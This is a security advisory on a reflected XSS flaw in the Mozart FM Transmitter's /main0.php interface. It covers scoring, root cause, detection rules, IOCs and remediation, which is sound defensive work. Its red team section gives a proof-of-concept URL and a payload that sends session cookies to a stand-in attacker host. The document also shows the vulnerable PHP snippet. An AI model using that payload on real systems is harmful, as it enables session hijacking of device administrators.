CVE-2025-63229

Executive Summary

CVE-2025-63229 is a reflected Cross-Site Scripting (XSS) vulnerability in the Mozart FM Transmitter web management interface, specifically version WEBMOZZI-00287. The flaw resides in the /main0.php endpoint, where the ?m= query parameter is not properly sanitized. An attacker can inject arbitrary JavaScript payloads, leading to session hijacking, credential theft, or unauthorized actions within the victim's browser context. The vulnerability is publicly known, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant for targeted attacks against broadcast infrastructure.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded web interface for industrial broadcast equipment. No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a crafted link
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification capability
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the critical nature of broadcast infrastructure elevate the risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the /main0.php endpoint. The ?m= query parameter is echoed back into the HTML response without proper encoding or sanitization. An attacker crafts a malicious URL containing a JavaScript payload in the m parameter. When a victim (e.g., an administrator) clicks the link, the payload executes in their browser, allowing the attacker to:

• Steal session cookies (if not HttpOnly)
• Perform actions on behalf of the victim (e.g., change transmitter settings)
• Redirect to phishing pages
• Capture keystrokes or DOM data

The attack does not require authentication to trigger, but the victim must be authenticated to the web interface for the attack to have impact.

Root Cause: Lack of output encoding for user-supplied input in the m parameter.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual PHP):

<?php
$m = $_GET['m'];
echo "<div class='status'>Status: $m</div>";
?>

Patched Code (conceptual PHP):

<?php
$m = $_GET['m'];
$m_encoded = htmlspecialchars($m, ENT_QUOTES, 'UTF-8');
echo "<div class='status'>Status: $m_encoded</div>";
?>

No official patch is available from Mozart. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Proof-of-Concept URL:

http://<target_ip>/main0.php?m=<script>alert('XSS')</script>

Advanced Payload (session cookie theft):

http://<target_ip>/main0.php?m=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

1. Deploy a Mozart FM Transmitter emulator or use a real device in an isolated network.
2. Use a web browser to access the /main0.php endpoint.
3. Inject the payload into the m parameter.
4. Observe JavaScript execution.

Note: No Exploit-DB code was provided.

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious ?m= parameters containing <script>, onerror, javascript:, or base64-encoded payloads.
2. Deploy a WAF rule to block requests with XSS patterns in the m parameter.
3. Educate users not to click untrusted links containing the /main0.php endpoint.

Hunting Query (Splunk):

index=web_logs uri="/main0.php" | search uri_query=*m=* | regex uri_query="(?i)(<script|onerror|javascript:)"

Indicators of Compromise (IOCs)

• URL Pattern: /main0.php?m=<script>...
• Network Traffic: HTTP GET requests to /main0.php with unusual m parameter values (e.g., containing <, >, script, onerror).
• Log Entries: Web server logs showing 200 responses to /main0.php with m parameter containing HTML/JavaScript.
• Referer Header: Suspicious referrers (e.g., attacker-controlled domains) in requests to /main0.php.

Detection Engineering

YARA Rule

rule CVE_2025_63229_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-63229 in Mozart FM Transmitter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63229"
    strings:
        $xss1 = /m=<script[^>]*>/
        $xss2 = /m=.*onerror\s*=/
        $xss3 = /m=.*javascript:/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-63229 Reflected XSS in Mozart FM Transmitter
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against /main0.php endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/main0.php?m="
    filter:
        cs-uri-query|contains:
            - "<script"
            - "onerror"
            - "javascript:"
    condition: selection and filter
falsepositives:
    - Legitimate use of HTML in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63229 Reflected XSS in Mozart FM Transmitter"; flow:to_server,established; content:"/main0.php"; http_uri; content:"m="; http_uri; pcre:"/(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize the m parameter using htmlspecialchars() or equivalent.
2. WAF Rules: Deploy a Web Application Firewall to block XSS patterns in the m parameter.
3. Network Segmentation: Isolate the transmitter web interface from the internet and untrusted networks.
4. User Training: Educate administrators not to click suspicious links.

Long-Term Fix:

• Contact Mozart for an official firmware update.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use HttpOnly and Secure flags for session cookies.

Workaround:

• Disable the /main0.php endpoint if not required, or restrict access via IP whitelisting.

Valters IT